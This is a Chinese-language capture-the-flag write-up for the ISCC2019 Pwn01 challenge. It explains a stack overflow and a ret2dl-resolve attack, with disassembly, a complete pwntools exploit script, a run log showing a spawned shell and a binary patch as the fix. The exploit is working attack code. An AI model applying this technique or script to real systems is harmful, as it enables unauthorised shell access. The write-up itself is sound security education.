ISCC2019 Pwn01 writeup

源程序下载:http://file.eonew.cn/ctf/pwn/pwn01.zip

本题主要考察 ret2dl-resolve 漏洞的使用。

程序功能介绍

安全防护

ex@Ex:~/test$ checksec pwn01
[*] '/home/ex/test/pwn01'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

主要代码

; int __cdecl main(int argc, const char **argv, const char **envp)
  public main
main proc near

var_16= byte ptr -16h
var_C= dword ptr -0Ch
argc= dword ptr  8
argv= dword ptr  0Ch
envp= dword ptr  10h

 lea     ecx, [esp+4]
  and     esp, 0FFFFFFF0h
  push    dword ptr [ecx-4]
  push    ebp
  mov     ebp, esp
  push    ebx
  push    ecx
  sub     esp, 10h
  call    __x86_get_pc_thunk_bx
  add     ebx, 1B93h
  sub     esp, 4
  push    0F4240h
  mov     eax, offset buf
  push    eax
  push    0
  call    _read
  add     esp, 10h
  mov     [ebp+var_C], eax
  mov     eax, [ebp+var_C]
  sub     esp, 4
  push    eax
  mov     eax, offset buf
  push    eax
  lea     eax, [ebp+var_16]
  push    eax
  call    _memcpy
  add     esp, 10h
  mov     eax, 0
  lea     esp, [ebp-8]
  pop     ecx
  pop     ebx
  pop     ebp
  lea     esp, [ecx-4]
  retn
main endp

就是先把我们的输入读到全局变量buf中,然后再将输入的内容复制到栈中。

分析

主要通过栈溢出来达到我们想要的目的,但是程序没有回显函数,也没有现成ROPgadget可以直接拿shell,我们也不知道glibc库的基地址,所以这题我们需要用到ret2dl-resolve漏洞来拿shell。

思路

  1. 控制程序流
  2. 构造好假的Elf32_Rel和假的Elf32_Sym,让_dl_runtime_resolve函数解析我们指定的字符串

控制程序流

只需要简单的栈溢出即可控制程序流。

offset = 0x100
# 布局
layout1 = [
    '\0' * 14,
    p32(buf_addr + 4 + offset), # ecx
]

payload1 = flat(layout1).ljust(offset, '\0')

这里之所以需要偏移,是因为我们后面的栈直接指向的buf_addr + offset这个地址,所以我们需要先填充号中间的空缺。

之后调用read函数来读取我们构造好的内容,注意这里需要栈转移,否则很容易会出问题,具体情况需要调试glibc源码。

# 0x08048519 : pop esi ; pop edi ; pop ebp ; ret
pop_3_addr = 0x08048519

# 0x0804851b : pop ebp ; ret
pop_ebp_ret = 0x0804851B

# 0x080483c5 : leave ; ret
leave_ret = 0x080483c5

layout1 = [
    elf.plt['read'],
    p32(pop_3_addr),
    p32(0),
    p32(container),
    p32(0x200),
    # 可能会影响bbs,也就是 buf_addr 周围的一些值,
    # 导致整个程序崩溃,所以把栈放的越远越好
    # 也可能是要把栈和 我们存放的 container 放在一起才不会崩溃
    p32(pop_ebp_ret), #   栈转移
    p32(container),  
    p32(leave_ret),
]

payload1 += flat(layout1)

# pause()
sh.send(payload1) # 初次输入

然后就控制程序流调用_dl_runtime_resolve函数来解析我们构造好的函数名字符串,并传入“/bin/sh”参数,准备拿shell。

# _dl_runtime_resolve(link_map, rel_offset)
_dl_runtime_resolve = 0x080482F0
fake_rel_offset = fake_rel_plt_addr - rel_plt_addr

fake_dynstr_offset = fake_dynstr_addr - dynstr_addr

# 第一个参数的地址,要和前面的都间隔开来
sh_offset = 200
sh_addr = container + sh_offset

layout2 = [
    p32(0), # ebp
    p32(_dl_runtime_resolve),
    p32(fake_rel_offset), # 指向 fake dynstr
    p32(elf.plt['__libc_start_main']), # ret addr
    p32(sh_addr), # 第一个参数
]

payload2 = flat(layout2).ljust(container_offset, '\0')

这里要container_offset偏移的原因是,我把要执行的栈和假的Elf32_Rel和假的Elf32_Sym放在了一起,所以中间需要用偏移间隔开来。

构造

计算地址

我们需要把我们所需要的地址全都计算好。

rel_plt_addr = 0x80482b4
dynsym_addr = 0x80481cc
dynstr_addr = 0x0804822c

buf_addr = 0x804A040

# 想要存放的地方,假的重定位表
container = 0x804b000 - 0x300 # buf_addr + 0x1000 #
# 前面要存放指令,所以要先间隔开来
container_offset = 100
fake_rel_plt_addr = container + container_offset

# 就和 fake_rel_plt_addr 放在一起
fake_dynsym_addr = fake_rel_plt_addr + 36
# 与 dynsym_addr 对齐
align = 16 - (fake_dynsym_addr - dynsym_addr) % 16
fake_dynsym_addr += align

# Elf32_Rel->r_info
index_dynsym = int((fake_dynsym_addr - dynsym_addr) / 16)
r_info = (index_dynsym << 8) | 0x7

# 假的字符串表地址,紧贴着 fake_dynsym_addr 放
fake_dynstr_addr = fake_dynsym_addr + 16

构造好假的Elf32_Rel和假的Elf32_Sym布局,为了前面的调用_dl_runtime_resolve函数做好准备。

layout2 = [
    elf.got['__libc_start_main'], # Elf32_Rel->r_offset ,我们要修改的值
    p32(r_info), # Elf32_Rel->r_info
    '\0' * (fake_dynsym_addr - (fake_rel_plt_addr + 8)), # 中间的偏移量
    p32(fake_dynstr_offset) + p32(0) + p32(0) + p32(0x12) ,  #fake Elf32_Sym
    "system\x00", # fake dynstr
]

payload2 = (payload2 + flat(layout2) ).ljust(sh_offset, '\0')
payload2 += '/bin/sh\x00'
# pause()
sh.sendline(payload2)

这样就可以解析我们的system字符串并直接执行syste函数了,像sh_offset的偏移都需要我们提前构造好,这题的难点可能就是在构造上面了。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import time
import struct

# context.log_level = "debug"

sh = process('./pwn01')
# sh = remote("39.100.87.24 ",8101)
elf = ELF('./pwn01')

try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

rel_plt_addr = 0x80482b4
dynsym_addr = 0x80481cc
dynstr_addr = 0x0804822c

buf_addr = 0x804A040

# 想要存放的地方,假的重定位表
container = 0x804b000 - 0x300 # buf_addr + 0x1000 #
# 前面要存放指令,所以要先间隔开来
container_offset = 100
fake_rel_plt_addr = container + container_offset

# 就和 fake_rel_plt_addr 放在一起
fake_dynsym_addr = fake_rel_plt_addr + 36
# 与 dynsym_addr 对齐
align = 16 - (fake_dynsym_addr - dynsym_addr) % 16
fake_dynsym_addr += align

# Elf32_Rel->r_info
index_dynsym = int((fake_dynsym_addr - dynsym_addr) / 16)
r_info = (index_dynsym << 8) | 0x7

# 假的字符串表地址,紧贴着 fake_dynsym_addr 放
fake_dynstr_addr = fake_dynsym_addr + 16

offset = 0x100
# 布局
layout1 = [
    '\0' * 14,
    p32(buf_addr + 4 + offset), # ecx
]

payload1 = flat(layout1).ljust(offset, '\0')

# 0x08048519 : pop esi ; pop edi ; pop ebp ; ret
pop_3_addr = 0x08048519

# 0x0804851b : pop ebp ; ret
pop_ebp_ret = 0x0804851B

# 0x080483c5 : leave ; ret
leave_ret = 0x080483c5

layout1 = [
    elf.plt['read'],
    p32(pop_3_addr),
    p32(0),
    p32(container),
    p32(0x200),
    # 可能会影响bbs,也就是 buf_addr 周围的一些值,
    # 导致整个程序崩溃,所以把栈放的越远越好
    # 也可能是要把栈和 我们存放的 container 放在一起才不会崩溃
    p32(pop_ebp_ret), #   栈转移
    p32(container),  
    p32(leave_ret),
]

payload1 += flat(layout1)

# pause()
sh.send(payload1) # 初次输入

'''
.plt:080482F0 sub_80482F0     proc near               ; CODE XREF: .plt:0804830B↓j
.plt:080482F0                                         ; .plt:0804831B↓j ...
.plt:080482F0                 push    ds:dword_804A004
.plt:080482F6                 jmp     ds:dword_804A008
.plt:080482F6 sub_80482F0     endp
'''
# _dl_reslove(link_map, rel_offset)
_dl_runtime_resolve = 0x080482F0
fake_rel_offset = fake_rel_plt_addr - rel_plt_addr

fake_dynstr_offset = fake_dynstr_addr - dynstr_addr

# 第一个参数的地址,要和前面的都间隔开来
sh_offset = 200
sh_addr = container + sh_offset

layout2 = [
    p32(0), # ebp
    p32(_dl_runtime_resolve),
    p32(fake_rel_offset), # 指向 fake dynstr
    p32(elf.plt['__libc_start_main']), # ret addr
    p32(sh_addr), # 第一个参数
]

payload2 = flat(layout2).ljust(container_offset, '\0')

layout2 = [
    elf.got['__libc_start_main'], # Elf32_Rel->r_offset ,我们要修改的值
    p32(r_info), # Elf32_Rel->r_info
    '\0' * (fake_dynsym_addr - (fake_rel_plt_addr + 8)), # 中间的偏移量
    p32(fake_dynstr_offset) + p32(0) + p32(0) + p32(0x12) ,  #fake Elf32_Sym
    "system\x00", # fake dynstr
]

payload2 = (payload2 + flat(layout2) ).ljust(sh_offset, '\0')
payload2 += '/bin/sh\x00'
# pause()
sh.sendline(payload2)

sh.interactive()

# 删除调试文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ ./exp.py 
[+] Starting local process './pwn01': pid 10677
[*] '/home/ex/test/pwn01'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$ 

修复

填充指令

push ebp
mov ebp, esp
push 14    ; 栈不被破坏的最大字节数
push dword ptr 12[ebp]
push dword ptr 8 [ebp]
call _read
add esp, 12
mov esp, ebp
pop ebp
ret

patched

.text:08048476  push    0F4240h
.text:0804847B  mov     eax, offset buf
.text:08048481  push    eax
.text:08048482  push    0
.text:08048484  call    _read

call _read指令修改为我们填充的指令的地址。

总结

第一次接触ret2dl-resolve漏洞的时候,感觉这个漏洞是很难理解的,但是随着自己的调试,慢慢地就理解它的原理。

这里还要多多感谢ZhouYetao师傅的指点。